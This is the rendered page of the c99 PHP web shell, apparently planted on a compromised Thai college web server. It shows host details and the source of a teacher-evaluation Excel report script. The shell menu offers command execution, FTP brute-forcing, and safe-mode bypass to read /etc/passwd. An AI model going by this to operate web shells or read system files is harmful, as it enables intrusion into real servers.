!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     reportDataRQCourseTep5_1_excel.php (10.97 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
header
('Content-type: application/xls');
header('Content-Disposition: attachment; filename="testing1.xls"');
include_once 
"../../class/clsDB.php";
include_once 
"../../class/clsConnection.php";
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../class/clsOfficerAssess.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsDoAssessment.php";
include_once 
"../class/clsResultRQ.php";
include_once 
"../class/clsSectionAll.php";

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oOFA = new OfficerAssess($oCA);
$oDo = new DoAssessment($oCA);
        
$oAF = new AssessForm($oCA);
$oAF->RSAssessFormByAssid($assid);
$oAF->GetRecord();

$oSse = new SysSemesterDes($oCR);
$oSse->SearchByKey($semester);
$oSse->GetRecord();

$oDA = new DefineAssessment($oCA);
$oDA->SearchByDefineid($defineid);
$oDA->GetRecord();

//ค้นหาคำถามปลาเปิดในแบบประเมินนี้ sectionRQid
$oSA = new SectionAll($oCA);
$CntSRQid $oSA->RSCountSectionRQid($assid);
?>
<title>รายงานค่าเฉลี่ย ส่วนเบี่ยงเบนมาตรฐาน  ความพึงพอใจของนักศึกษาต่อคุณภาพการสอนของอาจารย์ในภาพรวมของวิทยาลัย</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<div id="tabmargin">
       <form name="pc" method="post" action="<?php echo $PHP_SELF;?>" enctype="multipart/form-data">
          <div align="center">
          </div><br>
              
    <table width="88%" align="center" border="0" cellpadding="0" cellspacing="1">
      <tr> 
        <td> <table border="0">
            <tr> 
              <td width="372">&nbsp;</td>
              <td width="373">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
              <td width="747">&nbsp;</td>
            </tr>
            <tr> 
              <td colspan="26"><font size="2"><b>&nbsp;รายงานค่าเฉลี่ย ส่วนเบี่ยงเบนมาตรฐาน 
                ความพึงพอใจของนักศึกษาต่อคุณภาพการสอนของอาจารย์ในภาพรวมของวิทยาลัย</b></font></td>
            </tr>
            <tr> 
              <td colspan="26">&nbsp;</td>
            </tr>
            <tr> 
              <td colspan="26"><font size="2"><b> &nbsp;ชื่อทางการแบบประเมิน </b></font><font size="2"><b>: 
                </b></font><font size="2"> 
                <? if($oAF->maintopic == ""){ echo "-"; }else{ echo $oAF->maintopic; } ?>
                </font></td>
            </tr>
            <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_11'];?>"> 
              <td colspan="26"><font size="2"><b> &nbsp;ชื่อทั่วไปแบบประเมิน </b></font><font size="2"><b>&nbsp;&nbsp;&nbsp;: 
                </b><? echo $oAF->nameAss ?></font></td>
            </tr>
            <tr> 
              <td height="21" colspan="26"><font size="2"><b> &nbsp;ปีการศึกษา&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</b></font><font size="2"><b>: 
                </b></font><? echo $acadYear ?> / <? echo $oSse->semesterName;?></td>
            </tr>
            <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_11'];?>"> 
              <td height="22" colspan="26"><font size="2"><b> &nbsp;ช่วงเวลาประเมิน</b></font><font size="2"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: 
                </b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><? echo abbreDate(splitDateDb2($oDA->startDate,'/')); ?> 
                - <? echo abbreDate(splitDateDb2($oDA->endDate,'/'));  ?></font></td>
            </tr>
          </table>
          <br> 
          <? if($CntSRQid 0){ ?>
          <table width="100%" border="1">
            <tr bgcolor="#CFCFCF"> 
              <td width="30" rowspan="2" align="center"><font size="2"><b>ลำดับที่</b></font></td>
              <td width="344" rowspan="2" align="center"><font size="2"><b>อาจารย์ผู้สอน</b></font></td>
              <? 
        $oSA
= new SectionAll($oCA);
        
$i 0$scoreV1 4$scoreV2 5//ค่าที่จะนำไปคิด
        
$indexSection_head 1;
        
$oSA->RSByKeyAss($assid);
        while(
$oSA->GetRecord()){
        
/*---------------- กรณีที่เลือกเป็นคำถามชนิดปลายปิด------------------*/
            
if($oSA->sectionRQid != '0'){     
                
?>
              <td height="23" colspan="2" align="center"><font size="2"><b>ส่วนที่ 
                <? echo $indexSection_head?></b></font></td>
              <?     $i++;
            } 
// end if oSA
            
$indexSection_head++;
        } 
//end while oSA 
        
?>
              <td height="23" colspan="2" align="center"><font size="2"><b>ภาพรวม</b></font></td>
              <td width="38" height="30" rowspan="2" align="center"><font size="2"><b>แปลผล</b></font></td>
            </tr>
            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"> 
              <? for($j=1;$j<=$i;$j++){ ?>
              <td width="103" height="21" align="center" bgcolor="#CFCFCF"><font size="2"><b>ค่าเฉลี่ย</b></font></td>
              <td width="74" height="21" align="center" bgcolor="#CFCFCF"><font size="2"><b>S.D.</b></font></td>
              <? ?>
              <td width="103" height="21" align="center" bgcolor="#CFCFCF"><font size="2"><b>ค่าเฉลี่ย</b></font></td>
              <td width="76" height="21" align="center" bgcolor="#CFCFCF"><font size="2"><b>S.D.</b></font></td>
            </tr>
<? 
        set_time_limit
(0);
         
$flag 0;
        
$index_color 1;
            
/*---------------- กรณีที่เลือกเป็นคำถามชนิดปลายปิด------------------*/
                
$x 0;$y 0
            
//    $oDo->RSXbarSDCollageByAcadSemAssidDefineidOfficerId($acadYear,$semester,$defineid);
        /*        if($defineid!=" ")
                    $oDo->RSXbarSDCollageByAcadSemDefineid($acadYear,$semester,$defineid);
                else
                    $oDo->RSXbarSDCollageByAcadSemAssid($acadYear,$semester,$assid);
        */        
$oDo->RSXbarSDOverviewCollage($assid$acadYear$semester$defineid$ofSitId);
                while(
$oDo->GetRecord()){ 
                    
$j=1;
                 while(
$j<=$i ){ 
                     if(
$j==1){
                            if(
$index_color%== 0){
                            echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_5"].'">';
                            }else{
                            echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
                            } 
?>
                            <td align="center">&nbsp;<? echo $index_color?></td>
                            <td>&nbsp;<? echo $oDo->officerName."&nbsp;&nbsp;".$oDo->officerSurname ?></td>
                    <?    }?>        
                    <td align="center"><? printf("%.2f",$oDo->xbar); ?></td>
                    <td align="center"><? printf("%.2f",$oDo->sd);?></td>
                    <?        
                        $j
++;
                        if(
$j<=$i){
                                 
$oDo->GetRecord();
                        }else{
                    
?>        
                    <td align="center"><? printf("%.2f",$oDo->txbar); ?></td>
                    <td align="center"><? printf("%.2f",$oDo->tsd); ?></td>
                     <td align="center">
                      <? if($oDo->txbar >= 3.5) echo "ผ่าน"
                              else if(
$oDo->txbar && $oDo->txbar 3.5) echo "ไม่ผ่าน"
                            else  echo 
"-"?></td>
                        <?        $index_color++;
                        }
                 }
//end while i    
    
// end while ODA
            
set_time_limit(30);
         
?>
<?
        
if($index_color >1){
?>
        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_14"];?>">
            <td align="center">&nbsp;</td>
            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">&nbsp;ภาพรวมของทั้งวิทยาลัย</font></td>
        <? 
            $AvgXOverAll 
0;
            
$AvgSDOverAll 0;
            
$oDo->SumOverviewCollage($assid$acadYear$semester$defineid$ofSitId);
            while(
$oDo->GetRecord()){
           
?>
                <td align="center"><? printf("%.2f",$oDo->xbar); ?></td>
                <td align="center"><? printf("%.2f",$oDo->sd); ?></td>
        <?    
                $AvgXOverAll
+=$oDo->xbar;
                
$AvgSDOverAll+=$oDo->sd;
             } 
// end while
                 
$AvgXOverAll/=$i;
                
$AvgSDOverAll/=$i;
?>
            <td align="center"><? printf("%.2f",$AvgXOverAll); ?></td>
            <td align="center"><? printf("%.2f",$AvgSDOverAll); ?></td>
            <td align="center"><? if($AvgXOverAll >= 3.5) echo "ผ่าน"; else if($AvgXOverAll && $AvgXOverAll 3.5) echo "ไม่ผ่าน"; else  echo "-"?></td>
        </tr>
        <? }else{ ?>
    <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_5"];?>">
                    <td colspan="<? echo ($i*2)+5 ?>" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** 
                      ไม่พบรายการอาจารย์ผู้สอนที่ถูกประเมิน **</font></td>
        </tr>
        <? ?>
          </table>
          <br>
          <table width="100%" border="0" align="center">
            <tr> 
              <td colspan="26"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_5"];?>"><b>หมายเหตุ 
                :</b></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_5"];?>"> 
                &nbsp;การแปลผลคิดจากค่าเฉลี่ยตั้งแต่ 3.5 ขึ้นไป ถือว่าผ่าน (ค่าเฉลี่ย 
                &gt;= 3.5)</font></td>
            </tr>
            <tr> 
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
            </tr>
          </table>
          <? } else { ?>
          <table width="100%">
            <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_5'];?>"> 
              <td align="center"> <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** 
                ไม่สามารถแสดงรายงานได้ เนื่องจากเนื่องจากแบบประเมินที่สร้างไม่มีส่วนของคำถามปลายปิด 
                **</font></td>
            </tr>
          </table>
    <? // end if CntSRQid > 0?>
          <br> </td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
    </table>
          </form><br>
</div>
        </body>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0131 ]--